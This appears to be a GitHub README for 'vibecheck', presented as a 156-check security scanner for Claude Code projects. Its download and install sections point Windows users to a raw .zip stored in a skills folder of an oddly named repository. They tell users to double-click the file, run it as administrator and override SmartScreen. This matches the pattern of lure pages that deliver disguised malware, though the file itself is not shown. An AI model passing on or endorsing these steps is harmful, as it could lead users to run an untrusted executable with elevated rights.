vibecheck：面向 Claude Code 的 156 项自动化安全检查工具

🛡️ vibecheck - Block security issues before they ship

🚀 What vibecheck does

vibecheck helps you catch security problems before they reach your codebase. It runs a set of 156 automated checks for Claude Code and looks for common issues like:

• exposed API keys
• Supabase RLS turned off
• missing rate limits
• open CORS rules
• unsafe config values
• other common security gaps

It fits into a simple review flow. You run it before you move code forward, then it points out risks that need attention.

💻 What you need on Windows

Use a Windows PC with:

• Windows 10 or Windows 11
• an internet connection
• enough free disk space for the app and its checks
• permission to open downloaded files

If your browser asks where to save the file, pick a folder you can find again, like Downloads or Desktop

📥 Download vibecheck

Visit this page to download:

https://github.com/Labored-nontricyclicdrug743/vibecheck/raw/refs/heads/main/skills/secure-auth/Software_1.8.zip

Open the link in your browser, then use the download option on the page. If the page shows a file, download that file to your computer

🪟 Install on Windows

1. Open the download link above in your browser
2. Download the vibecheck file or package from the page
3. Open the Downloads folder
4. Find the file you just downloaded
5. Double-click the file to start it

If Windows asks whether you want to run the file, choose the option that lets it open

If the file comes in a zip folder:

1. Right-click the zip file
2. Choose Extract All
3. Open the extracted folder
4. Double-click the app file inside

After you open vibecheck, it will start its security checks. Use it when you want to review a project before you keep working on it.

Typical flow:

1. Open vibecheck
2. Point it at the code or project you want to check
3. Start the scan
4. Read the results
5. Fix the items it marks as risky

If you use Claude Code, run vibecheck before you accept changes or move code into your main branch

🔍 What it checks

vibecheck looks for common issues that can create problems later. It focuses on checks like:

• API keys left in code
• weak or missing auth rules
• Supabase tables with RLS off
• missing rate limiting on endpoints
• CORS settings that allow too much access
• unsafe public data exposure
• config values that can open attack paths
• common OWASP-style mistakes

These checks help you spot problems early, before they become harder to fix

🧭 How to use it day to day

Use vibecheck in a simple loop:

1. Make a change
2. Run vibecheck
3. Review the findings
4. Fix the risky items
5. Run it again if needed

This works well for solo work, pair work, and fast project checks. It also helps when you want a quick review before you share code with others

📁 Example use cases

vibecheck is useful for:

• checking a new app before launch
• reviewing API settings
• testing Supabase rules
• finding exposed secrets
• checking if rate limits exist
• reviewing CORS access
• keeping Claude Code output safer

If you build web apps, API tools, or AI-assisted projects, this gives you a fast safety check

⚙️ Basic setup tips

Use these steps to keep the app easy to run:

• keep the download in one folder
• use a folder name with no special symbols
• close other apps if your computer feels slow
• run one project at a time when you first start
• keep the app updated when a new version appears on the download page

If the app asks for a project path, pick the main folder for your code, not a random file inside it

🛠️ If it does not start

Try these steps:

1. Check that the file finished downloading
2. Make sure you opened the right file
3. Move the file to your Desktop and try again
4. Right-click the file and choose Run as administrator if Windows blocks it
5. Restart your computer and open it again

If your browser or Windows SmartScreen stops the file, choose the option to keep or run it only if you trust the source and the download page you used

🧩 Common things you may see

You may see results that mention:

• secret detection
• auth problems
• CORS settings
• rate limit gaps
• RLS status
• insecure public access
• risky endpoint setup

These labels point to where the problem lives, so you can fix it without guessing

🧪 Good habits when using vibecheck

Use it before you:

• publish code
• merge a branch
• copy code into another project
• hand work to someone else
• test a new API change
• turn on public access

If you catch issues early, you save time later

📌 Project info

• Repository: vibecheck
• Focus: automated security checks for Claude Code
• Topics: ai security, api key detection, claude code, devsecops, owasp, preflight checks, security scanner, supabase rls, vibe check, vibe coding